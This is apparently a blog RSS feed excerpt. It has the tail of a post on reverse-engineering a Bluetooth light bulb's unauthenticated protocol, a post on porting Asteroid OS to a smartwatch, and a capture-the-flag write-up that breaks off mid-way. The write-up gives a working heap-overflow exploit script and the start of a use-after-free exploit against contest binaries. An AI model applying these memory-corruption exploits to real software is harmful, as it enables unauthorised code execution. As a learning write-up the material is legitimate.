&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;31&lt;/span&gt;:C2:4B:19:AC:E6&lt;span class=&quot;o&quot;&gt;][&lt;/span&gt;LE&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&amp;gt; connect
Attempting to connect to &lt;span class=&quot;m&quot;&gt;31&lt;/span&gt;:C2:4B:19:AC:E6
Connection successful
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;31&lt;/span&gt;:C2:4B:19:AC:E6&lt;span class=&quot;o&quot;&gt;][&lt;/span&gt;LE&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&amp;gt; char-desc
handle: 0x0001, uuid: &lt;span class=&quot;m&quot;&gt;00002800&lt;/span&gt;-0000-1000-8000-00805f9b34fb
handle: 0x0002, uuid: &lt;span class=&quot;m&quot;&gt;00002803&lt;/span&gt;-0000-1000-8000-00805f9b34fb
handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0004, uuid: &lt;span class=&quot;m&quot;&gt;00002902&lt;/span&gt;-0000-1000-8000-00805f9b34fb
handle: 0x0005, uuid: &lt;span class=&quot;m&quot;&gt;00002800&lt;/span&gt;-0000-1000-8000-00805f9b34fb
...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;security-considerations&quot;&gt;Security considerations&lt;/h2&gt;

&lt;p&gt;Notice that nowhere did the light bulb require any sort of authentication/pairing.
There is a PIN characteristic, which can be configured in the vendor application.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/wireshark-pin.png&quot;&gt;&lt;img src=&quot;/images/mipow/wireshark-pin_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, as far as I can tell, the PIN only gets read back and checked by the
application itself and therefore provides only a semblance of protection. Welp.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/password-fail.png&quot;&gt;&lt;img src=&quot;/images/mipow/password-fail_250.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;python-library&quot;&gt;Python library&lt;/h2&gt;

&lt;p&gt;I have (partially, there are still unknown characteristics) implemented the
protocol as a Python &lt;a href=&quot;https://github.com/atalax/python-mipow&quot;&gt;library&lt;/a&gt; (which is
a thin wrapper around BlueZ DBus interface). The library also includes a
command line tool and an MQTT bridge.&lt;/p&gt;
</description>
        <pubDate>Tue, 12 Dec 2017 00:00:00 +0100</pubDate>
        <link>https://blog.atx.name/mipow/</link>
        <guid isPermaLink="true">https://blog.atx.name/mipow/</guid>
        
        
      </item>
    
      <item>
        <title>Asteroid OS on the LG G Watch R</title>
        <description>&lt;script&gt;
window.onload = function() {
  setTimeout(function() {
    var vid = document.getElementById(&quot;vidbootup&quot;);
    if (!document.hidden &amp;&amp; vid.paused) {
      vid.play();
    }
  }, 2000);
}
document.addEventListener(&quot;visibilitychange&quot;, window.onload, false);
&lt;/script&gt;

&lt;video id=&quot;vidbootup&quot; width=&quot;100%&quot; muted=&quot;&quot;&gt;
  &lt;source src=&quot;/images/asteroid-on-g-watch-r/bootup.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;I have &lt;a href=&quot;https://github.com/atalax/meta-lenok-hybris&quot;&gt;ported&lt;/a&gt; &lt;a href=&quot;https://asteroidos.org/&quot;&gt;Asteroid OS&lt;/a&gt; to the LG G Watch R — it is still an early version,
lacking multiple &lt;a href=&quot;https://github.com/atalax/meta-lenok-hybris/issues&quot;&gt;features&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I received my LG G Watch R as a gift during my Google Code-In grand prize trip
back in 2015, but as I don’t carry a phone around very much, I didn’t get much
of an use out of it.&lt;/p&gt;

&lt;video id=&quot;vidbootup&quot; width=&quot;100%&quot; autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot;&gt;
  &lt;source src=&quot;/images/asteroid-on-g-watch-r/menu.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;p&gt;Overall, I would like to get my watch to cooperate with my laptop, rather than with
a phone. Network-over-bluetooth &lt;a href=&quot;https://asteroidos.org/wiki/bluetooth/&quot;&gt;works&lt;/a&gt; on Asteroid (though not on G Watch R yet, as bluetooth is broken as of now), and given
the fact that it is a more or less “proper” Linux, adding capabilities should
be easy (periodic Wi-Fi scanning? mpd control? X server urgent alerts?).&lt;/p&gt;
</description>
        <pubDate>Sun, 26 Mar 2017 00:00:00 +0100</pubDate>
        <link>https://blog.atx.name/asteroid-on-g-watch-r/</link>
        <guid isPermaLink="true">https://blog.atx.name/asteroid-on-g-watch-r/</guid>
        
        
      </item>
    
      <item>
        <title>TUCTF writeup</title>
        <description>&lt;p&gt;&lt;a href=&quot;http://asciioverflow.com/&quot;&gt;TUCTF&lt;/a&gt; was a &lt;a href=&quot;https://ctftime.org/ctf-wtf/&quot;&gt;capture the flag&lt;/a&gt;
organized by the &lt;a href=&quot;https://engineering.utulsa.edu/academics/computer-science/&quot;&gt;University of Tulsa&lt;/a&gt;.
I participated with a friend and we even managed to score first place in the high
school bracket.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/logo.png&quot;&gt;&lt;img src=&quot;/images/tuctf/logo_400x.png&quot; /&gt;
&lt;a href=&quot;/images/tuctf/scoreboard.png&quot;&gt;&lt;img src=&quot;/images/tuctf/scoreboard_340x.png&quot; /&gt;&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;woo&quot;&gt;WoO&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;$ ./WoO
Welcome! I don&lt;span class=&quot;s1&quot;&gt;&amp;#39;t think we&amp;#39;&lt;/span&gt;re in Kansas anymore.
We&lt;span class=&quot;s1&quot;&gt;&amp;#39;re about to head off on an adventure!&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Select some animals you want to bring along.&lt;/span&gt;

&lt;span class=&quot;s1&quot;&gt;Menu Options:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1: Bring a lion&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;2: Bring a tiger&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;3: Bring a bear&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;4: Delete Animal&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;5: Exit&lt;/span&gt;

&lt;span class=&quot;s1&quot;&gt;Enter your choice:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Choose the type of lion you want:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1: Congo Lion&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;2: Barbary Lion&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Enter name of lion:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;nameoflion&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Menu Options:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1: Bring a lion&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;2: Bring a tiger&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;3: Bring a bear&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;4: Delete Animal&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;5: Exit&lt;/span&gt;

&lt;span class=&quot;s1&quot;&gt;Enter your choice:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Choose the type of bear you want:&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;1: Black Bear&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;2: Brown Bear&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Enter the bear&amp;#39;&lt;/span&gt;s name:
bearsname
Menu Options:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;: Bring a lion
&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;: Bring a tiger
&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;: Bring a bear
&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;: Delete Animal
&lt;span class=&quot;m&quot;&gt;5&lt;/span&gt;: Exit

Enter your choice:
&lt;span class=&quot;m&quot;&gt;5&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Hmm. Opening the binary in radare shows some immediately suspicious calls to scanf(“%s”).
It also shows that the structs containing the data about the animals are stored on
the heap and it also reveals the struct layout.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/woo-makebear.png&quot;&gt;&lt;img src=&quot;/images/tuctf/woo-makebear_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is also a secret function named &lt;code&gt;pwnMe&lt;/code&gt;, which gets called when the number
0x1337 (4919) gets passed as a menu option and a function named &lt;code&gt;l33tH4x0r&lt;/code&gt; (not called anywhere)
which loads the flag from a file on the target system and prints it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/woo-menu.png&quot;&gt;&lt;img src=&quot;/images/tuctf/woo-menu_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Opening up the &lt;code&gt;pwnMe&lt;/code&gt; function in gdb shows, that it loads the index of the last bear
struct (which gets set in the &lt;code&gt;makeBear&lt;/code&gt; function), checks if the type of the bear
is equal to 3 and if it is, it loads a function pointer from the start of the struct
and then jumps to anywhere the pointer points to.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/woo-pwnme.png&quot;&gt;&lt;img src=&quot;/images/tuctf/woo-pwnme_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first problem is the bear type — we can choose either 1 or 2, but not 3. However,
looking at the struct layout it looks like this can easily be bypassed by overflowing
the bear name scanf(“%s”) as the type is placed right after it.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;animal&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bear&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;funcptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;a href=&quot;/images/tuctf/woo-structs.png&quot;&gt;&lt;img src=&quot;/images/tuctf/woo-structs_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next the default 0xdeadbeef pointer needs to be overwritten, it is before the
name, so overflowing the bear name won’t help.&lt;/p&gt;

&lt;p&gt;Notice that the structs are arranged after one another on the heap - this is
what the exploit relies on.&lt;/p&gt;

&lt;p&gt;Okay, so the plan is as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Load first two animals, does not matter which ones&lt;/li&gt;
  &lt;li&gt;Load a bear, overwrite its type with 3&lt;/li&gt;
  &lt;li&gt;Free the struct right before the bear struct&lt;/li&gt;
  &lt;li&gt;Overwrite the function pointer at the start of the bear struct using the scanf overflow by allocating another animal (this allocation should be put where the struct deleted in step 3. was)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The exploit then looks as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /usr/bin/env python3&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x004008dd&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# l33tH4x0r&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;zzzz&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oooo&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;aaaaaaaaaakk&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\03\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;lt;​I&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;4919&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;woo2-fixed&quot;&gt;WoO2-fixed&lt;/h2&gt;

&lt;p&gt;This is a bit more complex variant of the previous challenge, as the scanf overflow
is fixed, so the bear type cannot just be overwritten.&lt;/p&gt;

&lt;p&gt;Returning to the &lt;code&gt;bearOffset&lt;/code&gt; variable, notice that it does not get cleaned when the bear gets deleted.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;&lt;/span&gt;Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x0000000000400e79 in printMenu &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; c
Continuing.
Menu Options:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;: Bring a lion
&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;: Bring a tiger
&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;: Bring a bear
&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;: Delete Animal
&lt;span class=&quot;m&quot;&gt;5&lt;/span&gt;: Exit

Enter your choice:
&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;
Choose the &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt; of bear you want:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;: Black Bear
&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;: Brown Bear
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
Enter the bear&lt;span class=&quot;err&quot;&gt;&amp;#39;&lt;/span&gt;s name:
bear

Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x0000000000400e79 in printMenu &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; p bearOffset
&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; c
Continuing.
Menu Options:
&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;: Bring a lion
&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;: Bring a tiger
&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;: Bring a bear
&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;: Delete Animal
&lt;span class=&quot;m&quot;&gt;5&lt;/span&gt;: Exit

Enter your choice:
&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt;
Choose your friends wisely..
Which element &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; you want to delete?
&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;

Breakpoint &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;, 0x0000000000400e79 in printMenu &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; p bearOffset
&lt;span class=&quot;nv&quot;&gt;$2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Another important thing to notice is the difference in struct layout between
the bear struct and the other animals — the space in the bear struct occupied
by the function pointer is reused in the other animal structs for the name string.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;animal&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bear&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;funcptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This leads to the followint reuse-after-free scenario:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The bear struct gets loaded&lt;/li&gt;
  &lt;li&gt;The bear struct gets freed&lt;/li&gt;
  &lt;li&gt;Another struct takes its place, with animal type 3 and the target
function pointer as its name.&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;#! /usr/bin/env python3&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;time&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0040090d&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# l33tH4x0r&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;

